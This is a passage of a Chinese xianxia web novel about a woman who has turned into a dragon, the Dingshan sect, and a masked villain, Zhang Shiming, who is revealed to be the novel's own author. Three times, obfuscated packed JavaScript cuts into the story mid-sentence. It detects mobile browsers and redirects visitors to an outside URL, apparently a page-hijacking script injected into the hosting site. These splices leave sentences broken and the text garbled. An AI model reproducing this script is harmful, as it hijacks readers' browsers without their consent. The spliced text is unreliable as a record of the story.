“飞泉院那边也知道此事。”冬青点点头。 ——也就是说这就是鼎山的意思。 卫池继续问:“抱仙果出自何人?” “鼎山曾经有个叫青江的弟子。”冬青说。 “没听说过。” “他是青滔和青湖的师兄。”冬青将身份说清楚。 那两人在鼎山都不可小觑,作为他们的师兄,青江只会超出想象。 抱仙果是以命相托之物,用在这里必有原因。 如果因真龙而起,倒也合情合理。 不过卫池有点疑惑:“你怎么知道这个东西?” “有人用龙息告诉我的。” “什么人?” “真龙身边的人。”冬青说出实情。 齐云鲤能化龙,就说明世间仍有真龙。 真龙身边有人,而且还跟鼎山相关,说不定跟她也有关。如果与她有关,那么齐云鲤就会安全很多。 卫池只是问:“化龙之后还能变回人吗?” “我又没见过,怎么知道。”冬青轻微摇头。 她一脸无所谓,不由让卫池有点气。 于是他只好问:“抱仙果该如何使用?” “吃了,”冬青原本不想再说,但看那人像是要动手,只好补充,“放到嘴里就行,抱仙果会自动融入。” 卫池将抱仙果塞进真龙嘴里,虽然还是没有动静,但禁地龙息明显沉静下来。之前还需要不断安抚,现在就彻底安定。 冬青朝四周看了看,像是在盘算什么。 卫池不知道她在看什么,结果冬青问:“玄镜池的龙息多吗?” 玄镜池龙息的事大家都知道,但是问这么细就有点不同寻常。 “比白鹭坪呆着舒服。”卫池只能说。 冬青摆摆手:“那我去那边住着。” 她转身就走,毫不留念真龙状态,又似乎已经确定没事。 彩衣女子离开后,卫池才回忆起那次轮回的经历。虽然青湖中途插手,但既然只针对齐云鲤,那么会干的事应该有限。 青湖最后设局,齐云鲤破局,所以打在一起。 可当时仙子林的情况并非只有最后才让人焦头烂额,前面一连串匪夷所思的事有点蹊跷。 之前以为那跟最后一样,但现在发现并非出自同一人之手。 卫池不得不怀疑起来,如今真龙情况稳定,那他就该观察一下当时的情况。 虽然已经过去很多个轮回,但他可以通过秘境重现那时的场景。 于是卫池花几天时间做出一个还原那时场景的秘境。 当时印象太过深刻,以至于之后他还时不时通过秘境去寻找齐云鲤死因。 眼下只不过是重复操作,因此而已。 那时的仙子林重现眼前,不远处还有鼎山弟子被打倒,但卫池只是留意到角落里一些变化。 仙子林里的草木四季常青,生机盎然,世人说那都是把其他人的气息吓出来养活的。 可此时角落里却有零星枯黄野草,仿佛有什么在掠夺仙子林生机。 卫池顺着枯黄野草走过去,结果那边一路的野草都已枯萎,最后他发现尽头是一棵枯萎的树。 那棵树很高很大,按理来说周围草木青翠它不可能枯萎。 可此时它正是野草的枯萎源头,仿佛生机掠夺就是从这里开始。 树上没有肉眼可见的阵法,不过卫池伸手过去一碰,就有轻微涟漪出现。 毕竟他是人炉,能比仙子林提供更多生机。 虽然无法掠夺他的生机,但那棵树的反应已经说明一切。 有人在此施法布阵,仙子林吓出来的气息他都要占为己有。 虽然八成都是平民百姓,但生机不分贵贱,即便是路边乞儿的生机也贵如珍宝。 鼎山弟子除生机以外还有修为功法,那才是罕见之物。 人炉所拥有的人炉之火更是世间难寻。 因此鼎山弟子和人炉来到此地就类似天降横财,无论如何都要试一试。 原本只是稀松平常的生机掠夺,但最后被齐云鲤一招破除。 所以也就不复存在。 由此可见当时除了青湖,还有人插手——插手者只可能是面具人。 所以除了青湖的杀招,还有面具人的毒手。 两边相加,因此最后众人才会格外惶恐,自然而然就接受齐云鲤的提议。 然后她独自留在仙子林死了。 发现真相的卫池并不意外,毕竟那是让鼎山灭门近百次的罪魁祸首。 如今多一桩命案对面具人来说也不足为奇。 但是对卫池而言那就非比寻常。 轮回近百次,他始终在思考灾难起因,想来想去都觉得是自己的人炉身份。 不过事到如今才发现,根源只有面具人。 面具人在坚持什么,不得而知。 但他的坚持给这片天地都带来祸患,这就无法容忍。 如今齐云鲤成功化龙,既给天地带来生机,也给面具人送上死路。 到时候反正得有人死,不是一个就是两个。 而轮回近百次的卫池早已没有活路。 鼎山禁地冰天雪地,但并没有冻住生机。 此地白雪皑皑,更像是瑞雪兆丰年。 只有冻死一些病虫害,来年才会丰收。 鼎山禁地有个山洞,洞口很小,只能容一人进出,所以没人留意。 若是钻进去就会发现里面极其狭长,明显是个隧道。 而且四周洞穴大小逐渐扩大,最后演变成一个硕大洞窟,距离禁地洞口大概有二十里路。 禁地二十里外正是九炼洞窟,也就是三清龙庭。 鼎山之所以立在那里就是由此而来,原本那边只有平地没有山峦,而且妖魔鬼怪众多。 天一道人发现那里可以直通三清龙庭,便从万仞山搬来土石堆积成山,顺便让煅剑城打造龙骨剑。 准备数百年鼎山总算有人成功化龙,一切都没白费。 化龙不是要借龙之势,而是要让龙可以彻底放松,好好休息。 龙恢复得很慢,所以化龙之人也不会很早变回人形。 齐云鲤一觉醒来,菩提慧海就说抱仙果已使用,一年左右禁地那条龙就能恢复,到时候她便可以回去。 一年时间相当漫长,但菩提慧海说得小事一桩似的。 她实在无话可说,只好问九炼洞窟的情况。 九炼洞窟原本叫三清龙庭,是真龙能彻底休息之处。 因此无根海干枯之后,最后一条龙便躲到三清龙庭。谁知世人接连不断跑过来寻找,让那条龙不得安宁。 成千上万修道人士中有人发现问题,可与他人说起却几乎没人相信。 若最后一条龙没法好好休养,那么天地也难逃一死。 为数不多的几个修道人士商量之后,只能编造出一个名为秋容女仙的魔头。 为了天衣无缝,他们还专门用一截龙骨化形为人,将众人的修为功法抽出十之一二融入秋容女仙。 然后将三清龙庭改名为九炼洞窟,秋容女仙就专门驻守在此。 旷世魔头的地盘自然没人再敢前来,而这竟然又激起修道人士的好胜之心。 于是源源不断的人前来挑战,秋容女仙不堪其扰,最后把九炼洞窟封了。 秋容女仙另外找到一个地方通往三清龙庭,为了防止还有外人过来打扰,她在洞口堆起一座高耸入云的山。 ——这就是鼎山起源。 齐云鲤听得目瞪口呆,最后只能问:“那你是干什么的?” “那些人太烦,所以他们抽出剩余修为功法的一半变出我。”菩提慧海无奈摇头。 齐云鲤伸手指向不远处那几个人就问:“……那他们?” “所以变成这样……” 齐云鲤觉得越来越诡异:“那止水宗呢?” “他们想去三清龙庭,所以跟我打了很多次。实在打不过,就开始造谣。”菩提慧海一脸生无可恋。 虽然相当离谱,但结合现实一看却发现意外合理。 穿书、漏洞、作者、未解之谜,匪夷所思之事越来越多。 齐云鲤最后问:“那天一道人是谁?” “改名的秋容女仙。” 她实在无话可说,全都在改名,全都是伪装。 ——说不定这些事连作者都不知道。 唯一值得庆幸的只有她总算没跟秋容女仙有关,但接下来的事让她觉得自己还不如跟秋容女仙有关。 因为菩提慧海说:“之前真龙始终无法恢复,但是你化龙之后情况明显好转,所以之后也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152564|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠你了。” ——说得仿佛化龙就是儿戏。 齐云鲤眉头紧皱,耳边又传来一句话。 “——化龙两次必死无疑。” 青湖说出这句话,她顿感危机重重。 “不过你早就死了。”青湖又说得无关紧要。 齐云鲤忿忿不平地指出:“是你干的。” 这人说得仿佛死得早死得好似的。 青湖只是说:“让你化龙也算赔你一条命。” “结果现在还要我化龙?”齐云鲤有点不服。 原本只是无关紧要的斗嘴,不过青湖说:“你不化龙,死的就是元真。” 这话一出,事情就严重得无法形容。 虽然暂时只能想起元真相关的大致经历,但齐云鲤感觉事情非比寻常。 “……什么意思?”她只能这么问。 青湖轻飘飘地说:“一旦天地毁灭,她就得死。” “你也会死。”齐云鲤感觉她是在诅咒,不禁皱起眉头。 青湖强调:“反正她都得死。” 说得仿佛元真必死无疑,不过她现在又在哪里? 之前感觉幽冥大帝与她相关,但具体怎么回事,齐云鲤也无法确定。 天地毁灭,似乎就是元真毁灭。 面具人无论如何都要毁天灭地,也就是会将元真置于死地。 如果要保护元真,那就必须解决面具人。 虽然还没彻底找回记忆,但发现此事的齐云鲤问:“那现在要怎么办?” “你先等真龙恢复吧,不然也回不去。”青湖并不着急。 齐云鲤很是怀疑:“等一年?” 菩提慧海说真龙恢复要一年,时间也太长了。 “她来带那几个小孩吧,我已经忍无可忍。”青湖转头说。 她说完就跑远,齐云鲤还不知道说的什么,就被拉到一个木架下。木架类似木框造型,内侧中间还有凹陷。 有人让她把头放进去,齐云鲤莫名其妙把头卡在凹陷里,差点就被一刀断头。 幸亏落下来的刀是木制,而且不尖锐。 虽然她没有肉身,但也经不起这样折腾。 可是青湖已经跑远,菩提慧海又不参与小孩玩闹,齐云鲤只好把各种死法都体验一轮又一轮。 不过再怎么折腾,九炼洞窟也算风平浪静。 而鼎山飞泉院则有一大群人身负重任,感觉已经远超所想。 因为罗白音跟几个鼎山弟子说,接下来他们负责化龙。 之前青湖师叔在煅剑城说得天花乱坠,严岐还表示成功之后每家每户发放物资十石,当时他们人人都感觉充满希望。 不过之后在千溪镇青湖师叔亲自化龙成功,鼎山弟子就认为不用再管。 可罗白音重点强调此事,众人就有点迷糊。 “青湖师叔不是已经成功化龙吗?”有人问。 罗白音皱起眉头:“成功的只有她一人,不是这片天地。” “一个人化龙还不行?” “当然不行,”罗白音说得很郑重,“一个人吃饱,难道其他人就不再饿?” 饿殍遍野时,一人可以充饥自然无济于事。 毕竟受影响的人成千上万,一人充饥又不是所有人都能饱腹。 其他人一脸疑惑,宋安合就问:“化龙跟吃饭不是一回事吧?” “当然不是,不过道理一样,”罗白音说,“只要某个人能充饥,也就证明世间还有食物。只要有食物,说不定人人都能吃上几口。” 话里的人人似乎不止这几个鼎山弟子。 “那我们吃了,还得让其他人吃?”有人顺势问。 罗白音强调:“其他人不知道能以此充饥,你们就得演示给他们看。” “最后得有多少人吃?” “越多越好。” 宋安合有点怀疑:“……够吃吗?” “绝对够,就怕他们不会吃。”罗白音很坦然。 宋安合只能感慨:“能吃是福啊……” “化龙之人需要时间恢复,你们就赶紧学习,千万别浪费时间。”罗白音又说。 宋安合问:“这么急干什么,不是相安无事吗?” “就要出事了。”罗白音面色有点凝重。 她转头看向窗外,站在窗外不远处的孙峥湖忧心忡忡。 他总感觉要出事,可这几天始终没有修道人士上山。 看来一旦有人上山,绝对要出大事。 在这种焦虑下,次日便有百十来个修道人士走上鼎山。 孙峥湖看到有这么多人,还以为他们是来兴师问罪。 52. 铭祖 鼎山有护山大阵笼罩,外人没有得到鼎山弟子允许,基本不可能走上来。 眼下那百十来个修道人士明显没有获得允许,却毫无障碍就来到半山腰大殿。 再傻也知道有人作祟,孙峥湖看到那一大群修道人士有点欲哭无泪。 为首的是个中年男子,他走到最前面说:“几日前千溪镇突然有真龙飞天,还一路飞往鼎山。这件事情所有人都亲眼所见,因此想请鼎山给个解答。” 鼎山其他人还在忙其他事,只有孙峥湖孤身一人站在那里。 ——差点就被来者势头压下去。 虽然想先骂起来,但不得不稳住局面,对方这么沉稳他也不能乱。 “不知阁下想要什么解答?”来者不慌不忙,孙峥湖就更加气定神闲。 中年男子皱起眉头:“真龙为何会飞往鼎山?” “诸位有所不知,”孙峥湖慢慢呼出一口气,“化龙者乃鼎山中人。” 化龙是件虚无缥缈的事,鼎山中人化龙更是匪夷所思。 毕竟世人研究化龙数百年,其中并没有鼎山中人。 他们干出这种超出想象之事,只能说明藏得太深。 那两人慢悠悠说着无关紧要的事,仅仅是在讨论化龙之人的身份。半天还在说那人故乡地形,总算有人听不下去。 “数百年来无数修道人士都想化龙,怎么只有鼎山成功?”那人气势汹汹,看起来已经急得不行。 不过孙峥湖却松了口气,因为这就能说得更慢。 “世间想化龙之人不计其数,可所有人都只关注一件事,那就是龙形,”他也不急,伸手示意前方众人才说,“可化龙不止龙形。” “有形者再像也不过图谱上一张画。” “什么意思?!”已经有人听不下去。 “也就是说化龙不是化形,除了形还有势,”孙峥湖长叹一声,“只有形的龙其实只是一幅画。” “画是死的,龙是活的。”他还打开一个卷轴,上面画着飞龙在天。 那条龙飞于九霄云外,可自始至终也只是一幅画。 之前从千溪镇飞往鼎山的龙,虽然飞得不高,但令所有人震撼。 再高超也只是一幅画,再普通都是一条龙。 也许这就是画和龙的区别。 为首的中年男子说:“你是说世人想的都不对?” 刻意找茬的味道太过熟悉,以至于孙峥湖都有点感动,果然会出事。 自己准备的那些说辞总算没有白费。 “世人的想法是从哪里开始?”他左右摆头,慢慢看向所有人,“据说是自止水宗起,当时世间真龙销声匿迹,他们就四处寻找。” 这纯粹就是胡说八道,不过止水宗是货真价实的邪魔歪道,把源头定在那里,谁都不会有意见。 “他们一路找一路打,但最后无功而返,因此说出这件事,”孙峥湖把罪名钉牢,还继续添油加醋,“这本来算是气话,但一传十十传百,很快就众人皆知,还信以为真。” 说完他又摇头叹息起来。 止水宗的罪行世人皆知,如今再多一项也顺理成章。 毕竟什么匪夷所思的事那边都干过。 “他们无法化龙就让世人都不能化龙?”一个蓝衣女子问。 这是个很浅显的问题。 所以孙峥湖继续摇头:“人心叵测啊……” “怎么鼎山可以?”有人十分疑惑。 “鼎山跟止水宗势不两立,从始至终我们就没信过他们的话。”孙峥湖说得证据确凿。 鼎山跟止水宗的关系世人皆知,没有任何疑问。 如果势不两立还听对方的话,这也太过荒唐。 以上原本是完美解答,可那个中年男子又说:“世人不知,只有鼎山中人知,你们却没有告知其他人。” 这明显就是在问责,孙峥湖不由高兴起来,果然不出他所料。 于是他顺势说出化龙一事:“此事太过匪夷所思,拿不出证据,我们也不敢多嘴。不过眼下真龙躺在鼎山禁地恢复,总算可以昭告天下。” 如今真龙飞到鼎山也算世人皆知,所以没必要再怀疑。 ——不过其实还能怀疑别的事。 “让天下以鼎山为尊?!” 人群里响起一声怒吼,孙峥湖知道大事不好,赶紧说:“当然不是,只是……” “你只是个狐妖,还想号令天下?!”有人大喝一声。 这就是明晃晃的挑事,突然点明身份,来者不善。 不过话音刚落,那个人就被打了。 动手的是个鼎山弟子,而他身后还跟着一群人,瞬间就跟那群修道人士打成一团。 鼎山有明显龙息,所以没人使用功法,都是货真价实的拳打脚踢。 修道人士极少赤手空拳,立即就被压过去一头。 孙峥湖之前还在尽力稳住局面,但当前打得风生水起,他也只好放弃挣扎。 ——只能赶紧思考打完要如何收场。 不过就在这时,有人说:“鼎山龙息鼎盛,真龙呆在禁地休息估计也顺势带动龙息波动。龙息一动人心就乱,所以才会这样。” 这话也算是将起因经过结果都说清楚,孙峥湖不禁转头一看。 那是个长相儒雅的男子,一身深灰长袍,上面还有白色龙腾纹样。 真龙在禁地休息,此时他衣服上有龙腾纹样,仿佛想喧宾夺主。 孙峥湖瞬间明白,这个人最危险。 “情况越复杂,人心越乱。”他长叹一声,顺着对方的话感慨。 那个男子说:“修道人士问的应该是道,而不是出身。” “闻道有先后,术业有专攻。”孙峥湖继续感慨。 “在下张师铭,乱成这样我也有责任,有句话不知当讲不当讲。” 这句话声音不大,不过打架的三渺宗人闻言一愣。 ——这是铭祖真名。 “我叫孙峥湖,只是鼎山一个打杂的。” 这就纯属胡说八道,不过鼎山弟子早就习以为常,所以没当回事。 因此那里一边打着,一边说着。 “化龙自然是件好事,可以带动天下生机。不过随之而来的不止生机,还有杀意,”张师铭说得有点玄妙,“真龙可以自然而然平息杀意,化龙之人却不行,还得外部出力。否则明天打起来的恐怕就不止这一群。” 他既说出真相,也暗藏心思。 想插手鼎山之事,必然得有充分准备,一切准备都是为了乱。 只有乱起来,机会才出现。 这种事孙峥湖并非一无所知,但眼下鼎山弟子跟人打成那样,实在出乎所料。他们绝对是受外力影响,但具体什么外力,这就不敢定论。 那种外力能视护山大阵如无物,不是他可以对付的。 于是孙峥湖只好客气地说:“愿闻其详。” “化龙之人想要恢复人形,绝非一两天可以做到。但始终保持龙形,就会对周遭事物产生影响,”张师铭娓娓道来,“因此既要让化龙之人顺利恢复人形,又要防止龙形不经意间给其他事物造成压迫。” 眼下打成那样,这种说法就相当有理有据。 孙峥湖知道挡不住,只好说:“阁下所言极是,不知具体怎么做?” “还请借一步说话。”张师铭伸手示意,然后朝大殿外侧走去。 孙峥湖跟着走到打斗声变轻的地方,他才说:“凡人想化龙成功绝不寻常,真龙想变回人形估计也不简单。” 化龙之事世人想了数百年也没能成功,如今鼎山中人成功化龙,起码也要很长时间才能恢复。 “……所以?”孙峥湖对这种前奏不感兴趣。 张师铭似乎有点无奈:“真龙想变回人形或许得一步一步来,外人施法让真龙化形为最接近的蛟,然后是蟒。化形所需功法越来越小,恢复人形的可能才越来越大。” 说得像是化龙已经耗尽自身功法,化龙之人无法再自行变回人形。 因此只能由他人施法布阵,帮助化龙之人。 孙峥湖只关心:“多长时间变一次?” “随二十四节气而变。” 一个节气差不多十五天,真龙要是按照这个顺序变回人形,恐怕不止一年。 孙峥湖只能含蓄地问:“大概一年?” “差不多要三年。”张师铭说出最终结论。 三年时间,差不多十五天化形一次,那么对施法者要求相当高。 没有谁能如此频繁地化形,鼎山所有人加起来也撑不了一年时间。 听起来感觉渺无希望。 孙峥湖为难地站在那里,一时无话可说。 “鼎山中人无法完成此事,不知阁下是否有可靠人选?” 罗白音坐着轮椅从一棵大树后绕出来,她温言细语,顿时和蔼可亲起来。 不过此时艳阳高照,她却位于树荫下,头顶没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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玄镜池与禁地、白鹭坪一条线,张师铭自然不会拒绝,因此点头同意。 “化形一事还得跟鼎山弟子商量,明日再去禁地如何?” “还是您考虑周到,那在下今日就先去玄镜池。” 张师铭礼貌后退,确认方向后就直接朝下走去。 罗白音见不远处快打完才问:“三渺宗的跟他熟不熟?” “之前他们没有任何接触。”孙峥湖描述。 两人对修道人士中的三渺宗人相当敏感。 虽然三渺宗人事先避嫌,不过他们出现在同一处就很可疑。 那群人高调得就像一面彩旗,无论是否说话都在迎风招展。 既然跟张师铭同时进入鼎山,那么双方很可能有密切联系。 毕竟刚才飘扬的彩旗就是他。 “让他住在鼎山,风险太大了吧?”孙峥湖十分不解。 “放他下山,说不定哪天就把你家扬了,”罗白音轻描淡写地说,“反正化龙恢复需要时间,那就看谁耗得过谁。” 孙峥湖大惑不解:“我家都在深山老林,不至于吧?” “如果他哪天放火烧山,你家就完了。”罗白音似乎有理有据。 “……这种事也做得出来?” “估计他能做出来的事,你想都想不到。” 半山腰大殿前仍有几人在打斗,不过上山之人并不仅限于此。 有人在这边闹事,也就有其他人另辟蹊径,直奔鼎山禁地。 鼎山有龙息压迫,而且越往上越强。 可那几人早已熟悉此物,因为日常随处可见,他们都是三渺宗的。 三渺宗人上鼎山,自然不可能是为了跟鼎山弟子打架。 他们要找的是真龙,留在鼎山禁地的那条龙。 鼎山弟子发现那几个可疑之人,但龙息压迫挡不住他们。 最后是禁地里的卫池告诉守在外面的鼎山弟子,运用丹青宝卷元气来阻挡。 三渺宗龙息多却没有元气,所以元气对他们来说是闻所未闻之物。 ——这才能出其不意。 于是鼎山弟子便靠元气将那几个三渺宗人打退。 既没有在明面上翻脸,又没有让他们溜到禁地。 偷偷潜入的三渺宗人被悄悄制伏。 鼎山这边的麻烦基本都已解决,菩提慧海却在九炼洞窟长叹一声。 正在陪玩的齐云鲤不明所以,不过还在玩的那几个人瞬间眉头紧锁,盯着远处上方,那个方位是鼎山。 “出什么事了?”齐云鲤莫名其妙。 菩提慧海无奈摇头:“有人来了。” “什么人?” “当然不是好人。” 53. 首次交锋 九炼洞窟和鼎山相距甚远,但龙息将彼此连接。 一旦龙息产生变化,就知道对面发生什么引起龙息波动的事。 此时九炼洞窟几人发现龙息波动有点不对劲,通常来说鼎山龙息只会像水波一样左右摆动,但这次是龙息明显减少。 鼎山龙息是专门留给真龙的,可这时却有外力擅自夺取。 真龙本来就恢复缓慢,龙息一少速度就更慢。 之前的话齐云鲤没听懂,因此菩提慧海补充:“你留在这里的时间可能延长到三、五年。” 每天都在经历各种死法的齐云鲤实在不能接受。 “——为什么?” 她感觉是有人刻意拖延时间让自己多受罪。 事实的确如此,不过那个人不在九炼洞窟,而是在鼎山。 “鼎山龙息之力有所衰减,力有未逮。”菩提慧海无奈叹息。 ——这正是当前情况变化。 张师铭去鼎山帮真龙恢复,实际是想借龙息之力帮自己恢复。 既然无论如何真龙都能完好如初,那就顺便让他也如此。 不过他借东风顺势而起,齐云鲤就只能被秋风扫落叶。 在九炼洞窟陪玩就不是人干的事,反正都是各种死法。 呆三年那就是得死三年,虽然不是真的死,但谁都受不了。 既然那几人杀意这么重,那还是找准对象吧。 于是齐云鲤开始给那五个青年上课,重点围绕真龙恢复和龙息。原本她化龙有助于真龙恢复,但现在有外人插手,抢夺真龙生机,也就是龙息。 因此真龙恢复时间明显推后,简直天理难容。 绝对要给那个人深刻教训,否则他还要为所欲为。 她说得闻者伤心,见者落泪,那五个人恨不得将面具人除之而后快。 见他们总算转变思路,齐云鲤又说起九炼洞窟和鼎山的合作。目前两个地方能用龙息联系,一旦事态严重,只靠龙息肯定不够。 鼎山那边除了龙息还有一个人炉,人炉与龙息相关,也就可以跟他们联手。 他们在九炼洞窟深谙真龙恢复,人炉在鼎山熟悉龙息变化。 只要双方合作,那就是如虎添翼。 到时候定能将面具人斩草除根。 菩提慧海看着不远处的教学逐渐演变成怂恿策动,有点无话可说。 “我让她来接手,可不是因为柔弱可欺。”青湖完全无所谓。 菩提慧海相当怀疑:“你干了什么?” 青湖没兴趣风花雪月,只关心手刃仇人。 被选中的人当然跟她是同一种风格。 “我骗她玄镜池可以钓鱼,她就真的隔三岔五过去。”青湖回忆。 鼎山玄镜池跟禁地、白鹭坪连成一线,自然而然便承接鼎山龙息。虽然龙息压迫不明显,但呆在那里仍令人倍感不适。 玄镜池的水来自万仞山水洼,因此绝不可能有鱼。 ——那是真龙的活动范围。 “那里怎么可能有鱼?”菩提慧海完全不信。 青湖说:“我假装的,看起来是她在钓鱼,其实是我在试探她底细。” “试出来你就杀了她?” 青湖略微一叹:“当时没想到还有一个人。” 还有一个人就是面具人,只不过他藏在齐云鲤背后。 他搞出来的动静,青湖一开始都以为出自齐云鲤。 听到这里,菩提慧海觉得那五个打面具人的同时,还可以顺便收拾青湖。 身份想得不对,做的就更不对,只能说幸亏局面还没有不可挽回。 之前觉得那边离谱,结果这边更离谱,不过无论如何都离谱不过面具人。 居然还跑到鼎山抢龙息,要是脾气差估计直接就被气死。 九炼洞窟里众志成城,一心要打面具人,齐云鲤总算结束死法体验。 而洞窟那边的鼎山则迎来全新危机。 张师铭要帮真龙化形,谁知道他会趁机干什么。之前三渺宗人偷偷溜上禁地,幸亏被鼎山弟子拦住。 不过接下来必定不会停手。 因此当张师铭来到禁地时,鼎山弟子已经在四周铺设好阵法,就连青滔都在白鹭坪打开剑阵,一旦有事马上动手。 张师铭知道鼎山已经做好准备,不过他能做的远超想象。 再神机妙算也猜不到,他能让鼎山龙息与化龙之人为敌。 真龙飞到鼎山禁地,自然是需要借龙息之力来恢复。 但龙息异常灵敏,既能帮真龙恢复,也能铲除鸠占鹊巢的化龙之人。 即使禁地龙息暂时平稳,但化形之后出现在那里的就不再是真龙。 不是真龙还想借龙息之力,那就是痴心妄想。 按理来说施法者应该保护化形后的真龙,可有些事终究超出人力。 一心报恩结果事与愿违,这也不是他想看到的。 既然比他先化龙,那就得比他早死。 张师铭顺利走进鼎山禁地,在漫天风雪下看到一条龙盘在雪里,双眼紧闭,纹丝不动,但周身仍有微弱起伏。 他苦心钻研龙形,不弄错一丝一毫,事到如今却发现眼前的龙长得相当潦草。 虽然确实是龙形,但毛色鳞片的光泽,以及四肢躯干的状态都不免让人嫌弃。 世间真龙图片哪会像这样看起来命不久矣? 而他竟然还被这奄奄一息的龙打败,简直是奇耻大辱。 卫池站在真龙旁边,见进来那个人眉头紧锁,不知道受什么刺激。 张师铭之前做的事他不得而知,不过昨晚已经有鼎山弟子过来通知。 虽然身份不明,但鼎山掌门的老熟人不可能是好人。鼎山掌门神出鬼没,结识的基本都是不为世间所容之人。 况且这人知道太多,感觉跟面具人一路。 而且名字里还有个“铭”字,与三渺宗铭祖用的是同一个字。 种种可疑之处结合起来,张师铭基本就是面具人。 轮回近百次,为对抗面具人,卫池做了充分准备。 原本打算在龙骨论战与之交锋,但事到如今没必要计较具体时间。 毕竟面具人作恶不挑时候,那么自己随时可以动手。 所以他先走过去行礼:“弟子卫池,见过张真人。” 张师铭在愣神间被温和有礼的声音略微惊到,转头才发现小说男主已经跟之前判若两人。 《长夜道枯》的男主卫长夜生性警惕,哪怕已经入睡都做好动手准备。 ——绝对不可能这样彬彬有礼、慢条斯理。 之前感觉他只是随手可用的工具,现在发现竟然还成长不少。 不过身为小说作者,张师铭对这种变化早就习以为常。 谁能想到只是休息一天就穿越时空,来到自己笔下世界,而且竟是鼎山掌门用尽所有修为功法,请自己过来扭转局面。 虽然鼎山灭门的细节没有交代,但结局已经注定。 鼎山掌门完全无法接受,因此要他改变灭门结局。 虽然鼎山死伤惨重,但最后剩下的那个是人炉,人炉之火与天地相通,那就可以让星星之火燎原起来。 张师铭留下男主,只是因为故事还没写完,没想到鼎山的气也没断。 他原本是以拯救鼎山为理由,让鼎山掌门不断请人过来帮忙,实际就是叫穿书者过来提供力量。 可没想到竟有穿书者提供力量给这片天地,男主也越来越难对付。 之前那个闻所未闻的青湖一直过来打他,僵持多个轮回,他实在忍无可忍,就将她钉在禁地崖壁上。 谁知她怎么也死不掉,不但继续打他,最后还成功化龙。 张师铭的耐心都有点耗尽,这时看到那条龙潦草得太过滥竽充数,他都想放弃挣扎。 幸亏小说男主有天壤之别的变化,这才让他觉得没有白来。 “过誉了,在下只是个寻常修道人士。”张师铭礼貌自谦。 不过这谦虚只是让卫池觉得虚伪,连当面一套背后一套都算不上。 这种时候出现在此就明显动机不良。 虽然张师铭长相儒雅,但不是他脾气好、待人得体,而是因为完全没必要。 世间千疮百孔,而他还不如临渊羡鱼,毕竟那都没有动手。 他没有抓鱼钓鱼,只是将大地砸得濒临破碎。 而那片即将土崩瓦解的大地上还有天下苍生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167905|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旦支离破碎,谁都无法幸免。 原本世间真龙消失就是个考验,若是不能平安渡过则天地毁灭。 结果在此基础上又出现面具人,他将鼎山不断灭门,似乎就是要毁天灭地。 身为鼎山人炉,卫池只能与之对抗。 面具人将鼎山灭门近百次,卫池就不断积攒可用之物。 如今来到这个轮回,总算能一决胜负。 之前想在龙骨论战前挡住他,彻底结束鼎山灭门惨案。 虽然起码三年以后才会有龙骨论战,不过万事宜早不宜迟,能早点解决就早点结束。 双方打过招呼,张师铭便在真龙四周布阵。 由于已经熟悉阵法知识,卫池能看出来那就是普通的协助阵法,方便布阵之人在阵法范围内施展术法。 阵法没有问题,也就是张师铭在此做的一切都正常。 但他不可能让事情顺利发展,也许蹊跷之处就藏在稀松平常里。 卫池做好准备等待张师铭施法,四周鼎山弟子和白鹭坪青滔也做好准备。 他们在防止意外发生,可谁也没想到,源头就是错的。 当术法随阵法铺散开后,真龙形态便发生变动,逐渐变化为蛟。 原本没有任何异常,可这件事本来就异常。 在龙息鼎盛之处出现不是真龙的活物,必然遭受龙息压迫。 卫池和张师铭能呆在这里是因为龙息压迫对他们无效,可奄奄一息的蛟根本无法与之对抗。 “龙息压迫对她明显是负担!”张师铭一声惊呼,仿佛才发现此事。 鼎山弟子被吓到,一时惊慌失措不知如何是好。 白鹭坪的青滔发现此事也无可奈何,毕竟他只擅长打人不擅长救人。 ——不过卫池早有准备。 之前打算在龙骨论战前交手,是因为那时鼎山会遍布龙息,对所有人都是负担。如果不能提前解决问题,那么后患无穷。 而他的准备也是鼎山龙息。 龙息会压迫众生,却是真龙强有力的保障。 如果能将龙息化为己用,那么解决面具人的胜算就能变大几成。 龙息压迫无法避免,但如果同时还能运用龙息,那就无往不利。 卫池专门选择用右手来承担龙息压迫,当龙息压迫特别强烈时,右手就会出现吸引龙息的阵法。 四周压迫全都凝聚于右手,那么其他地方就不会被压迫。 原本这是用在打斗时的办法,不过当前其实也算一种斗。 既然张师铭想利用龙息压迫使齐云鲤一命呜呼,那么卫池就让他知道龙息压迫不过如此。 于是龙息压迫明显变大时,压迫对象变了。 原本那条躺在雪地里的蛟最可疑,但这时卫池的右手却突然诡异起来,仿佛是什么不得不除的祸患。 龙息瞬间调转方向,全部扑向那只右手。 绞痛、刺痛、剧痛都不足以形容这时的感受,但卫池只是咬紧牙关,全身抖动也没发出一点声响。 张师铭在那边假装施救,其实都是无关紧要的术法。 焦头烂额半天,结果发现那条蛟还没断气。 然后他转头便看到卫池的右手已鲜血淋漓。 “你的手怎么了?!”张师铭惊呼,而且货真价实。 卫池声音很小,气息也不连贯:“我原本以为没事,看来呆在禁地还是太过勉强……” 话音刚落,陆顷己就冲过来施法疗伤。 